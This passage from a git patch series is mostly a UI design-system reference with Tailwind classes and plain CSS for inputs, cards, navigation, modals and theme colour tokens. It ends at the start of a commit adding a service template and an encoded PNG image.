CSS:** +```css +.input { + display: block; + padding: 0.375rem 0.5rem; + width: 100%; + font-size: 0.875rem; + color: #000; + background: #fff; + border: 0; + border-radius: 0.125rem; + box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; +} +.input:focus-visible { + outline: none; + box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; +} +.input::placeholder { color: #d4d4d4; } +.input:disabled { background: #e5e5e5; color: #737373; box-shadow: none; } +.input:read-only { color: #737373; background: #e5e5e5; box-shadow: none; } +.input[type="password"] { padding-right: 2.4rem; } + +/* Dark */ +.dark .input { + background: #181818; + color: #fff; + box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; +} +.dark .input:focus-visible { + box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; +} +.dark .input::placeholder { color: #404040; } +.dark .input:disabled { background: rgba(24, 24, 24, 0.4); box-shadow: none; } +.dark .input:read-only { color: #737373; background: rgba(24, 24, 24, 0.4); box-shadow: none; } +``` + +#### Dirty (Modified) State + +When an input value has been changed but not saved, a 4px colored left bar appears via box-shadow — same colors as focus state. This provides a visual indicator that the field has unsaved changes. + +--- + +### 3.3 Select + +Same base styles as Input, plus a custom dropdown arrow SVG: + +**Tailwind:** +``` +w-full block py-1.5 text-sm text-black rounded-sm border-0 +dark:bg-coolgray-100 dark:text-white +disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 +focus-visible:outline-none +``` + +**Additional plain CSS for the dropdown arrow:** +```css +.select { + /* ...same as .input base... */ + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23000000'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); + background-position: right 0.5rem center; + background-repeat: no-repeat; + background-size: 1rem 1rem; + padding-right: 2.5rem; + appearance: none; +} + +/* Dark mode: white stroke arrow */ +.dark .select { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23ffffff'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); +} +``` + +--- + +### 3.4 Checkbox + +**Tailwind:** +``` +dark:border-neutral-700 text-coolgray-400 dark:bg-coolgray-100 rounded-sm cursor-pointer +dark:disabled:bg-base dark:disabled:cursor-not-allowed +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs +dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Container:** +``` +flex flex-row items-center gap-4 pr-2 py-1 form-control min-w-fit +dark:hover:bg-coolgray-100 cursor-pointer +``` + +**Plain CSS:** +```css +.checkbox { + border-color: #404040; + color: #282828; + background: #181818; + border-radius: 0.125rem; + cursor: pointer; +} +.checkbox:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} + +.checkbox-container { + display: flex; + flex-direction: row; + align-items: center; + gap: 1rem; + padding: 0.25rem 0.5rem 0.25rem 0; + min-width: fit-content; + cursor: pointer; +} +.dark .checkbox-container:hover { background: #181818; } +``` + +--- + +### 3.5 Textarea + +Uses `font-mono` for monospace text. Supports tab key insertion (2 spaces). + +**Important**: Large/multiline textareas should NOT use the inset box-shadow left-border system from `.input`. Use a simple border instead: + +**Tailwind:** +``` +block w-full text-sm text-black rounded-sm border border-neutral-200 +dark:bg-coolgray-100 dark:text-white dark:border-coolgray-300 +font-mono focus-visible:outline-none focus-visible:ring-2 +focus-visible:ring-coollabs dark:focus-visible:ring-warning +focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +.textarea { + display: block; + width: 100%; + font-size: 0.875rem; + font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; + color: #000; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; +} +.textarea:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #fff, 0 0 0 4px #6b16ed; +} +.dark .textarea { + background: #181818; + color: #fff; + border-color: #242424; +} +.dark .textarea:focus-visible { + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} +``` + +> **Note**: The 4px inset left-border (dirty/focus indicator) is only for single-line inputs and selects, not textareas. + +--- + +### 3.6 Box / Card + +#### Standard Box + +**Tailwind:** +``` +relative flex lg:flex-row flex-col p-2 transition-colors cursor-pointer min-h-[4rem] +dark:bg-coolgray-100 shadow-sm bg-white border text-black dark:text-white hover:text-black +border-neutral-200 dark:border-coolgray-300 hover:bg-neutral-100 +dark:hover:bg-coollabs-100 dark:hover:text-white hover:no-underline rounded-sm +``` + +**Plain CSS:** +```css +.box { + position: relative; + display: flex; + flex-direction: column; + padding: 0.5rem; + min-height: 4rem; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); + color: #000; + cursor: pointer; + transition: background-color 150ms, color 150ms; + text-decoration: none; +} +.box:hover { background: #f5f5f5; color: #000; } + +.dark .box { + background: #181818; + border-color: #242424; + color: #fff; +} +.dark .box:hover { + background: #7317ff; + color: #fff; +} + +/* IMPORTANT: child text must also turn white/black on hover, + since description text (#737373) is invisible on purple bg */ +.box:hover .box-title { color: #000; } +.box:hover .box-description { color: #000; } +.dark .box:hover .box-title { color: #fff; } +.dark .box:hover .box-description { color: #fff; } + +/* Desktop: row layout */ +@media (min-width: 1024px) { + .box { flex-direction: row; } +} +``` + +#### Coolbox (Ring Hover) + +**Tailwind:** +``` +relative flex transition-all duration-150 dark:bg-coolgray-100 bg-white p-2 rounded +border border-neutral-200 dark:border-coolgray-400 hover:ring-2 +dark:hover:ring-warning hover:ring-coollabs cursor-pointer min-h-[4rem] +``` + +**Plain CSS:** +```css +.coolbox { + position: relative; + display: flex; + padding: 0.5rem; + min-height: 4rem; + background: #fff; + border: 1px solid #e5e5e5; + border-radius: 0.25rem; + cursor: pointer; + transition: all 150ms; +} +.coolbox:hover { box-shadow: 0 0 0 2px #6b16ed; } + +.dark .coolbox { + background: #181818; + border-color: #282828; +} +.dark .coolbox:hover { box-shadow: 0 0 0 2px #fcd452; } +``` + +#### Box Text + +> **IMPORTANT — Dark mode titles**: Card/box titles MUST be `#fff` (white) in dark mode, not the default body text color (`#a3a3a3` / neutral-400). A black or grey title is nearly invisible on dark backgrounds (`#181818`). This applies to all heading-level text inside cards. + +```css +.box-title { + font-weight: 700; + color: #000; /* light mode: black */ +} +.dark .box-title { + color: #fff; /* dark mode: MUST be white, not grey */ +} + +.box-description { + font-size: 0.75rem; + font-weight: 700; + color: #737373; +} +/* On hover: description must become visible against colored bg */ +.box:hover .box-description { color: #000; } +.dark .box:hover .box-description { color: #fff; } +``` + +--- + +### 3.7 Badge / Status Indicator + +**Tailwind:** +``` +inline-block w-3 h-3 text-xs font-bold rounded-full leading-none +border border-neutral-200 dark:border-black +``` + +**Variants**: `badge-success` (`bg-success`), `badge-warning` (`bg-warning`), `badge-error` (`bg-error`) + +**Plain CSS:** +```css +.badge { + display: inline-block; + width: 0.75rem; + height: 0.75rem; + border-radius: 9999px; + border: 1px solid #e5e5e5; +} +.dark .badge { border-color: #000; } + +.badge-success { background: #22C55E; } +.badge-warning { background: #fcd452; } +.badge-error { background: #dc2626; } +``` + +#### Status Text Pattern + +Status indicators combine a badge dot with text: + +```html +
+
+
+ Running +
+
+``` + +| Status | Badge Class | Text Color | +|---|---|---| +| Running | `badge-success` | `text-success` (`#22C55E`) | +| Stopped | `badge-error` | `text-error` (`#dc2626`) | +| Degraded | `badge-warning` | `dark:text-warning` (`#fcd452`) | +| Restarting | `badge-warning` | `dark:text-warning` (`#fcd452`) | + +--- + +### 3.8 Dropdown + +**Container Tailwind:** +``` +p-1 mt-1 bg-white border rounded-sm shadow-sm +dark:bg-coolgray-200 dark:border-coolgray-300 border-neutral-300 +``` + +**Item Tailwind:** +``` +flex relative gap-2 justify-start items-center py-1 pr-4 pl-2 w-full text-xs +transition-colors cursor-pointer select-none dark:text-white +hover:bg-neutral-100 dark:hover:bg-coollabs +outline-none focus-visible:bg-neutral-100 dark:focus-visible:bg-coollabs +``` + +**Plain CSS:** +```css +.dropdown { + padding: 0.25rem; + margin-top: 0.25rem; + background: #fff; + border: 1px solid #d4d4d4; + border-radius: 0.125rem; + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); +} +.dark .dropdown { + background: #202020; + border-color: #242424; +} + +.dropdown-item { + display: flex; + position: relative; + gap: 0.5rem; + justify-content: flex-start; + align-items: center; + padding: 0.25rem 1rem 0.25rem 0.5rem; + width: 100%; + font-size: 0.75rem; + cursor: pointer; + user-select: none; + transition: background-color 150ms; +} +.dropdown-item:hover { background: #f5f5f5; } +.dark .dropdown-item { color: #fff; } +.dark .dropdown-item:hover { background: #6b16ed; } +``` + +--- + +### 3.9 Sidebar / Navigation + +#### Sidebar Container + Page Layout + +The navbar is a **fixed left sidebar** (14rem / 224px wide on desktop), with main content offset to the right. + +**Tailwind (sidebar wrapper — desktop):** +``` +hidden lg:fixed lg:inset-y-0 lg:z-50 lg:flex lg:w-56 lg:flex-col min-w-0 +``` + +**Tailwind (sidebar inner — scrollable):** +``` +flex flex-col overflow-y-auto grow gap-y-5 scrollbar min-w-0 +``` + +**Tailwind (nav element):** +``` +flex flex-col flex-1 px-2 bg-white border-r dark:border-coolgray-200 border-neutral-300 dark:bg-base +``` + +**Tailwind (main content area):** +``` +lg:pl-56 +``` + +**Tailwind (main content padding):** +``` +p-4 sm:px-6 lg:px-8 lg:py-6 +``` + +**Tailwind (mobile top bar — shown on small screens, hidden on lg+):** +``` +sticky top-0 z-40 flex items-center justify-between px-4 py-4 gap-x-6 sm:px-6 lg:hidden +bg-white/95 dark:bg-base/95 backdrop-blur-sm border-b border-neutral-300/50 dark:border-coolgray-200/50 +``` + +**Tailwind (mobile hamburger icon):** +``` +-m-2.5 p-2.5 dark:text-warning +``` + +**Plain CSS:** +```css +/* Sidebar — desktop only */ +.sidebar { + display: none; +} +@media (min-width: 1024px) { + .sidebar { + display: flex; + flex-direction: column; + position: fixed; + top: 0; + bottom: 0; + left: 0; + z-index: 50; + width: 14rem; /* 224px */ + min-width: 0; + } +} + +.sidebar-inner { + display: flex; + flex-direction: column; + flex-grow: 1; + overflow-y: auto; + gap: 1.25rem; + min-width: 0; +} + +/* Nav element */ +.sidebar-nav { + display: flex; + flex-direction: column; + flex: 1; + padding: 0 0.5rem; + background: #fff; + border-right: 1px solid #d4d4d4; +} +.dark .sidebar-nav { + background: #101010; + border-right-color: #202020; +} + +/* Main content offset */ +@media (min-width: 1024px) { + .main-content { padding-left: 14rem; } +} + +.main-content-inner { + padding: 1rem; +} +@media (min-width: 640px) { + .main-content-inner { padding: 1rem 1.5rem; } +} +@media (min-width: 1024px) { + .main-content-inner { padding: 1.5rem 2rem; } +} + +/* Mobile top bar — visible below lg breakpoint */ +.mobile-topbar { + position: sticky; + top: 0; + z-index: 40; + display: flex; + align-items: center; + justify-content: space-between; + padding: 1rem; + gap: 1.5rem; + background: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(12px); + border-bottom: 1px solid rgba(212, 212, 212, 0.5); +} +.dark .mobile-topbar { + background: rgba(16, 16, 16, 0.95); + border-bottom-color: rgba(32, 32, 32, 0.5); +} +@media (min-width: 1024px) { + .mobile-topbar { display: none; } +} + +/* Mobile sidebar overlay (shown when hamburger is tapped) */ +.sidebar-mobile { + position: relative; + display: flex; + flex: 1; + width: 100%; + max-width: 14rem; + min-width: 0; +} +.sidebar-mobile-scroll { + display: flex; + flex-direction: column; + padding-bottom: 0.5rem; + overflow-y: auto; + min-width: 14rem; + gap: 1.25rem; + min-width: 0; +} +.dark .sidebar-mobile-scroll { background: #181818; } +``` + +#### Sidebar Header (Logo + Search) + +**Tailwind:** +``` +flex lg:pt-6 pt-4 pb-4 pl-2 +``` + +**Logo:** +``` +text-2xl font-bold tracking-wide dark:text-white hover:opacity-80 transition-opacity +``` + +**Search button:** +``` +flex items-center gap-1.5 px-2.5 py-1.5 +bg-neutral-100 dark:bg-coolgray-100 +border border-neutral-300 dark:border-coolgray-200 +rounded-md hover:bg-neutral-200 dark:hover:bg-coolgray-200 transition-colors +``` + +**Search kbd hint:** +``` +px-1 py-0.5 text-xs font-semibold +text-neutral-500 dark:text-neutral-400 +bg-neutral-200 dark:bg-coolgray-200 rounded +``` + +**Plain CSS:** +```css +.sidebar-header { + display: flex; + padding: 1rem 0 1rem 0.5rem; +} +@media (min-width: 1024px) { + .sidebar-header { padding-top: 1.5rem; } +} + +.sidebar-logo { + font-size: 1.5rem; + font-weight: 700; + letter-spacing: 0.025em; + color: #000; + text-decoration: none; +} +.dark .sidebar-logo { color: #fff; } +.sidebar-logo:hover { opacity: 0.8; } + +.sidebar-search-btn { + display: flex; + align-items: center; + gap: 0.375rem; + padding: 0.375rem 0.625rem; + background: #f5f5f5; + border: 1px solid #d4d4d4; + border-radius: 0.375rem; + cursor: pointer; + transition: background-color 150ms; +} +.sidebar-search-btn:hover { background: #e5e5e5; } +.dark .sidebar-search-btn { + background: #181818; + border-color: #202020; +} +.dark .sidebar-search-btn:hover { background: #202020; } + +.sidebar-search-kbd { + padding: 0.125rem 0.25rem; + font-size: 0.75rem; + font-weight: 600; + color: #737373; + background: #e5e5e5; + border-radius: 0.25rem; +} +.dark .sidebar-search-kbd { + color: #a3a3a3; + background: #202020; +} +``` + +#### Menu Item List + +**Tailwind (list container):** +``` +flex flex-col flex-1 gap-y-7 +``` + +**Tailwind (inner list):** +``` +flex flex-col h-full space-y-1.5 +``` + +**Plain CSS:** +```css +.menu-list { + display: flex; + flex-direction: column; + flex: 1; + gap: 1.75rem; + list-style: none; + padding: 0; + margin: 0; +} + +.menu-list-inner { + display: flex; + flex-direction: column; + height: 100%; + gap: 0.375rem; + list-style: none; + padding: 0; + margin: 0; +} +``` + +#### Menu Item + +**Tailwind:** +``` +flex gap-3 items-center px-2 py-1 w-full text-sm +dark:hover:bg-coolgray-100 dark:hover:text-white hover:bg-neutral-300 rounded-sm truncate min-w-0 +``` + +#### Menu Item Active + +**Tailwind:** +``` +text-black rounded-sm dark:bg-coolgray-200 dark:text-warning bg-neutral-200 overflow-hidden +``` + +#### Menu Item Icon / Label + +``` +/* Icon */ flex-shrink-0 w-6 h-6 dark:hover:text-white +/* Label */ min-w-0 flex-1 truncate +``` + +**Plain CSS:** +```css +.menu-item { + display: flex; + gap: 0.75rem; + align-items: center; + padding: 0.25rem 0.5rem; + width: 100%; + font-size: 0.875rem; + border-radius: 0.125rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +.menu-item:hover { background: #d4d4d4; } +.dark .menu-item:hover { background: #181818; color: #fff; } + +.menu-item-active { + color: #000; + background: #e5e5e5; + border-radius: 0.125rem; +} +.dark .menu-item-active { + background: #202020; + color: #fcd452; +} + +.menu-item-icon { + flex-shrink: 0; + width: 1.5rem; + height: 1.5rem; +} + +.menu-item-label { + min-width: 0; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +``` + +#### Sub-Menu Item + +```css +.sub-menu-item { + /* Same as menu-item but with gap: 0.5rem and icon size 1rem */ + display: flex; + gap: 0.5rem; + align-items: center; + padding: 0.25rem 0.5rem; + width: 100%; + font-size: 0.875rem; + border-radius: 0.125rem; +} +.sub-menu-item-icon { flex-shrink: 0; width: 1rem; height: 1rem; } +``` + +--- + +### 3.10 Callout / Alert + +Four types: `warning`, `danger`, `info`, `success`. + +**Structure:** +```html +
+
+
+
Title
+
Content
+
+
+``` + +**Base Tailwind:** +``` +relative p-4 border rounded-lg +``` + +**Type Colors:** + +| Type | Background | Border | Title Text | Body Text | +|---|---|---|---|---| +| **warning** | `bg-warning-50 dark:bg-warning-900/30` | `border-warning-300 dark:border-warning-800` | `text-warning-800 dark:text-warning-300` | `text-warning-700 dark:text-warning-200` | +| **danger** | `bg-red-50 dark:bg-red-900/30` | `border-red-300 dark:border-red-800` | `text-red-800 dark:text-red-300` | `text-red-700 dark:text-red-200` | +| **info** | `bg-blue-50 dark:bg-blue-900/30` | `border-blue-300 dark:border-blue-800` | `text-blue-800 dark:text-blue-300` | `text-blue-700 dark:text-blue-200` | +| **success** | `bg-green-50 dark:bg-green-900/30` | `border-green-300 dark:border-green-800` | `text-green-800 dark:text-green-300` | `text-green-700 dark:text-green-200` | + +**Plain CSS (warning example):** +```css +.callout { + position: relative; + padding: 1rem; + border: 1px solid; + border-radius: 0.5rem; +} + +.callout-warning { + background: #fefce8; + border-color: #fde047; +} +.dark .callout-warning { + background: rgba(113, 63, 18, 0.3); + border-color: #854d0e; +} + +.callout-title { + font-size: 1rem; + font-weight: 700; +} +.callout-warning .callout-title { color: #854d0e; } +.dark .callout-warning .callout-title { color: #fde047; } + +.callout-text { + margin-top: 0.5rem; + font-size: 0.875rem; +} +.callout-warning .callout-text { color: #a16207; } +.dark .callout-warning .callout-text { color: #fef08a; } +``` + +**Icon colors per type:** +- Warning: `text-warning-600 dark:text-warning-400` (`#ca8a04` / `#fcd452`) +- Danger: `text-red-600 dark:text-red-400` (`#dc2626` / `#f87171`) +- Info: `text-blue-600 dark:text-blue-400` (`#2563eb` / `#60a5fa`) +- Success: `text-green-600 dark:text-green-400` (`#16a34a` / `#4ade80`) + +--- + +### 3.11 Toast / Notification + +**Container Tailwind:** +``` +relative flex flex-col items-start +shadow-[0_5px_15px_-3px_rgb(0_0_0_/_0.08)] +w-full transition-all duration-100 ease-out +dark:bg-coolgray-100 bg-white +dark:border dark:border-coolgray-200 +rounded-sm sm:max-w-xs +``` + +**Plain CSS:** +```css +.toast { + position: relative; + display: flex; + flex-direction: column; + align-items: flex-start; + width: 100%; + max-width: 20rem; + background: #fff; + border-radius: 0.125rem; + box-shadow: 0 5px 15px -3px rgba(0, 0, 0, 0.08); + transition: all 100ms ease-out; +} +.dark .toast { + background: #181818; + border: 1px solid #202020; +} +``` + +**Icon colors per toast type:** + +| Type | Color | Hex | +|---|---|---| +| Success | `text-green-500` | `#22c55e` | +| Info | `text-blue-500` | `#3b82f6` | +| Warning | `text-orange-400` | `#fb923c` | +| Danger | `text-red-500` | `#ef4444` | + +**Behavior**: Stacks up to 4 toasts, auto-dismisses after 4 seconds, positioned bottom-right. + +--- + +### 3.12 Modal + +**Tailwind (dialog-based):** +``` +rounded-sm modal-box max-h-[calc(100vh-5rem)] flex flex-col +``` + +**Modal Input variant container:** +``` +relative w-full lg:w-auto lg:min-w-2xl lg:max-w-4xl +border rounded-sm drop-shadow-sm +bg-white border-neutral-200 +dark:bg-base dark:border-coolgray-300 +flex flex-col +``` + +**Modal Confirmation container:** +``` +relative w-full border rounded-sm +min-w-full lg:min-w-[36rem] max-w-[48rem] +max-h-[calc(100vh-2rem)] +bg-neutral-100 border-neutral-400 +dark:bg-base dark:border-coolgray-300 +flex flex-col +``` + +**Plain CSS:** +```css +.modal-box { + border-radius: 0.125rem; + max-height: calc(100vh - 5rem); + display: flex; + flex-direction: column; +} + +.modal-input { + position: relative; + width: 100%; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; + filter: drop-shadow(0 1px 1px rgba(0, 0, 0, 0.05)); + background: #fff; + display: flex; + flex-direction: column; +} +.dark .modal-input { + background: #101010; + border-color: #242424; +} + +/* Desktop sizing */ +@media (min-width: 1024px) { + .modal-input { + width: auto; + min-width: 42rem; + max-width: 56rem; + } +} +``` + +**Modal header:** +```css +.modal-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 1.5rem; + flex-shrink: 0; +} +.modal-header h3 { + font-size: 1.5rem; + font-weight: 700; +} +``` + +**Close button:** +```css +.modal-close { + width: 2rem; + height: 2rem; + border-radius: 9999px; + color: #fff; +} +.modal-close:hover { background: #242424; } +``` + +--- + +### 3.13 Slide-Over Panel + +**Tailwind:** +``` +fixed inset-y-0 right-0 flex max-w-full pl-10 +``` + +**Inner panel:** +``` +max-w-xl w-screen +flex flex-col h-full py-6 +border-l shadow-lg +bg-neutral-50 dark:bg-base +dark:border-neutral-800 border-neutral-200 +``` + +**Plain CSS:** +```css +.slide-over { + position: fixed; + top: 0; + bottom: 0; + right: 0; + display: flex; + max-width: 100%; + padding-left: 2.5rem; +} + +.slide-over-panel { + max-width: 36rem; + width: 100vw; + display: flex; + flex-direction: column; + height: 100%; + padding: 1.5rem 0; + border-left: 1px solid #e5e5e5; + box-shadow: -10px 0 15px -3px rgba(0, 0, 0, 0.1); + background: #fafafa; +} +.dark .slide-over-panel { + background: #101010; + border-color: #262626; +} +``` + +--- + +### 3.14 Tag + +**Tailwind:** +``` +px-2 py-1 cursor-pointer text-xs font-bold text-neutral-500 +dark:bg-coolgray-100 dark:hover:bg-coolgray-300 bg-neutral-100 hover:bg-neutral-200 +``` + +**Plain CSS:** +```css +.tag { + padding: 0.25rem 0.5rem; + font-size: 0.75rem; + font-weight: 700; + color: #737373; + background: #f5f5f5; + cursor: pointer; +} +.tag:hover { background: #e5e5e5; } +.dark .tag { background: #181818; } +.dark .tag:hover { background: #242424; } +``` + +--- + +### 3.15 Loading Spinner + +**Tailwind:** +``` +w-4 h-4 text-coollabs dark:text-warning animate-spin +``` + +**Plain CSS + SVG:** +```css +.loading-spinner { + width: 1rem; + height: 1rem; + color: #6b16ed; + animation: spin 1s linear infinite; +} +.dark .loading-spinner { color: #fcd452; } + +@keyframes spin { + from { transform: rotate(0deg); } + to { transform: rotate(360deg); } +} +``` + +**SVG structure:** +```html + + + + +``` + +--- + +### 3.16 Helper / Tooltip + +**Tailwind (trigger icon):** +``` +cursor-pointer text-coollabs dark:text-warning +``` + +**Tailwind (popup):** +``` +hidden absolute z-40 text-xs rounded-sm text-neutral-700 group-hover:block +dark:border-coolgray-500 border-neutral-900 dark:bg-coolgray-400 bg-neutral-200 +dark:text-neutral-300 max-w-sm whitespace-normal break-words +``` + +**Plain CSS:** +```css +.helper-icon { + cursor: pointer; + color: #6b16ed; +} +.dark .helper-icon { color: #fcd452; } + +.helper-popup { + display: none; + position: absolute; + z-index: 40; + font-size: 0.75rem; + border-radius: 0.125rem; + color: #404040; + background: #e5e5e5; + max-width: 24rem; + white-space: normal; + word-break: break-word; + padding: 1rem; +} +.dark .helper-popup { + background: #282828; + color: #d4d4d4; + border: 1px solid #323232; +} + +/* Show on parent hover */ +.helper:hover .helper-popup { display: block; } +``` + +--- + +### 3.17 Highlighted Text + +**Tailwind:** +``` +inline-block font-bold text-coollabs dark:text-warning +``` + +**Plain CSS:** +```css +.text-highlight { + display: inline-block; + font-weight: 700; + color: #6b16ed; +} +.dark .text-highlight { color: #fcd452; } +``` + +--- + +### 3.18 Scrollbar + +**Tailwind:** +``` +scrollbar-thumb-coollabs-100 scrollbar-track-neutral-200 +dark:scrollbar-track-coolgray-200 scrollbar-thin +``` + +**Plain CSS:** +```css +::-webkit-scrollbar { width: 6px; height: 6px; } +::-webkit-scrollbar-track { background: #e5e5e5; } +::-webkit-scrollbar-thumb { background: #7317ff; } +.dark ::-webkit-scrollbar-track { background: #202020; } +``` + +--- + +### 3.19 Table + +**Plain CSS:** +```css +table { min-width: 100%; border-collapse: separate; } +table, tbody { border-bottom: 1px solid #d4d4d4; } +.dark table, .dark tbody { border-color: #202020; } + +thead { text-transform: uppercase; } + +tr { color: #000; } +tr:hover { background: #e5e5e5; } +.dark tr { color: #a3a3a3; } +.dark tr:hover { background: #000; } + +th { + padding: 0.875rem 0.75rem; + text-align: left; + color: #000; +} +.dark th { color: #fff; } +th:first-child { padding-left: 1.5rem; } + +td { padding: 1rem 0.75rem; white-space: nowrap; } +td:first-child { padding-left: 1.5rem; font-weight: 700; } +``` + +--- + +### 3.20 Keyboard Shortcut Indicator + +**Tailwind:** +``` +px-2 text-xs rounded-sm border border-dashed border-neutral-700 dark:text-warning +``` + +**Plain CSS:** +```css +.kbd { + padding: 0 0.5rem; + font-size: 0.75rem; + border-radius: 0.125rem; + border: 1px dashed #404040; +} +.dark .kbd { color: #fcd452; } +``` + +--- + +## 4. Base Element Styles + +These global styles are applied to all HTML elements: + +```css +/* Page */ +html, body { + width: 100%; + min-height: 100%; + background: #f9fafb; + font-family: Inter, sans-serif; +} +.dark html, .dark body { + background: #101010; + color: #a3a3a3; +} + +body { + min-height: 100vh; + font-size: 0.875rem; + -webkit-font-smoothing: antialiased; + overflow-x: hidden; +} + +/* Links */ +a:hover { color: #000; } +.dark a:hover { color: #fff; } + +/* Labels */ +.dark label { color: #a3a3a3; } + +/* Sections */ +section { margin-bottom: 3rem; } + +/* Default border color override */ +*, ::after, ::before, ::backdrop { + border-color: #202020; /* coolgray-200 */ +} + +/* Select options */ +.dark option { + color: #fff; + background: #181818; +} +``` + +--- + +## 5. Interactive State Reference + +### Focus + +| Element Type | Mechanism | Light | Dark | +|---|---|---|---| +| Buttons, links, checkboxes | `ring-2` offset | Purple `#6b16ed` | Yellow `#fcd452` | +| Inputs, selects, textareas | Inset box-shadow (4px left bar) | Purple `#6b16ed` | Yellow `#fcd452` | +| Dropdown items | Background change | `bg-neutral-100` | `bg-coollabs` (`#6b16ed`) | + +### Hover + +| Element | Light | Dark | +|---|---|---| +| Button (default) | `bg-neutral-100` | `bg-coolgray-200` | +| Button (highlighted) | `bg-coollabs` (`#6b16ed`) | `bg-coollabs-100` (`#7317ff`) | +| Button (error) | `bg-red-300` | `bg-red-800` | +| Box card | `bg-neutral-100` + all child text `#000` | `bg-coollabs-100` (`#7317ff`) + all child text `#fff` | +| Coolbox card | Ring: `ring-coollabs` | Ring: `ring-warning` | +| Menu item | `bg-neutral-300` | `bg-coolgray-100` | +| Dropdown item | `bg-neutral-100` | `bg-coollabs` | +| Table row | `bg-neutral-200` | `bg-black` | +| Link | `text-black` | `text-white` | +| Checkbox container | — | `bg-coolgray-100` | + +### Disabled + +```css +/* Universal disabled pattern */ +:disabled { + cursor: not-allowed; + color: #d4d4d4; /* neutral-300 */ + background: transparent; + border-color: transparent; +} +.dark :disabled { + color: #525252; /* neutral-600 */ +} + +/* Input-specific */ +.input:disabled { + background: #e5e5e5; /* neutral-200 */ + color: #737373; /* neutral-500 */ + box-shadow: none; +} +.dark .input:disabled { + background: rgba(24, 24, 24, 0.4); + box-shadow: none; +} +``` + +### Readonly + +```css +.input:read-only { + color: #737373; + background: #e5e5e5; + box-shadow: none; +} +.dark .input:read-only { + color: #737373; + background: rgba(24, 24, 24, 0.4); + box-shadow: none; +} +``` + +--- + +## 6. CSS Custom Properties (Theme Tokens) + +For use in any CSS framework or plain CSS: + +```css +:root { + /* Font */ + --font-sans: Inter, sans-serif; + + /* Brand */ + --color-base: #101010; + --color-coollabs: #6b16ed; + --color-coollabs-50: #f5f0ff; + --color-coollabs-100: #7317ff; + --color-coollabs-200: #5a12c7; + --color-coollabs-300: #4a0fa3; + + /* Neutral grays (dark backgrounds) */ + --color-coolgray-100: #181818; + --color-coolgray-200: #202020; + --color-coolgray-300: #242424; + --color-coolgray-400: #282828; + --color-coolgray-500: #323232; + + /* Warning / dark accent */ + --color-warning: #fcd452; + --color-warning-50: #fefce8; + --color-warning-100: #fef9c3; + --color-warning-200: #fef08a; + --color-warning-300: #fde047; + --color-warning-400: #fcd452; + --color-warning-500: #facc15; + --color-warning-600: #ca8a04; + --color-warning-700: #a16207; + --color-warning-800: #854d0e; + --color-warning-900: #713f12; + + /* Semantic */ + --color-success: #22C55E; + --color-error: #dc2626; +} +``` From 635b1097d3853fc2a11fec5ba7a9d66add8f18c1 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 5 Feb 2026 06:44:13 +0100 Subject: [PATCH 023/305] feat(service): add sure --- public/svgs/sure.png | Bin 0 -> 4990 bytes templates/compose/sure.yaml | 93 ++++++++++++++++++++++++++++++++++++ 2 files changed, 93 insertions(+) create mode 100644 public/svgs/sure.png create mode 100644 templates/compose/sure.yaml diff --git a/public/svgs/sure.png b/public/svgs/sure.png new file mode 100644 index 0000000000000000000000000000000000000000..7a0bb69c14cdca1ee45c08a60f4fb90796072380 GIT binary patch literal 4990 zcmd6r_dDBd`^RGxHA)vPZN;qZ79&L!MeR|0)E>R9*dtU?MT^o>?QMkGYHuxqqIQg! zp^?(NHqlDN_Pu&MzkL6L=gDy-Ig%fe&*!?%^L4)7*GnS$AM?-(%Sx@?T{hZu@Wz8lu$FVRa@M zN;PVA!!H*-9k&9n?}gs+L}8weEO-(dr}rF^B1RycRqRPp`oVk<)1QK^R1gt06$mXG z8-$9MRs}*u#isJ#|JbP(OrxUT-rnwYa!8JwqV#h4)F_`FPt+V{Pd$?=9zf8RKJJX7 z+9a(_#7)5iSB-*~dd_#R2e2E|{^wRms#oe9yXlsgY)pvP+}tjpNR|$gN1~IxYgq<&CITz*jQT+A_(o`tuLY4 z_2;!H+jv}OG>w&(7Q+UiL)o@>bG}(Jd^Ing^B6xks1rpXs8qk34>U{<5X7?_W%ej85J0tRW%{$vb>Z%H-OR!+@~yb z8qov&{SNW0+{M*-?tjCm7I{LqKd;R8yu6J2pc?Z}R+bdUYUobrb>*i|FqFZ;!P)Tw zO`K%Mao2^L3O!gXcJ(dGa36_kG1{`$>D*0m)A3?`E)NdLO+vwNnOV7|o*pyVz4NXf zlKXi`A$R1l-`?)1a{b8>MfB>0@coN%^#At0;u4dPNY+qS??+s^GZ3ixdTh+7$qmCP 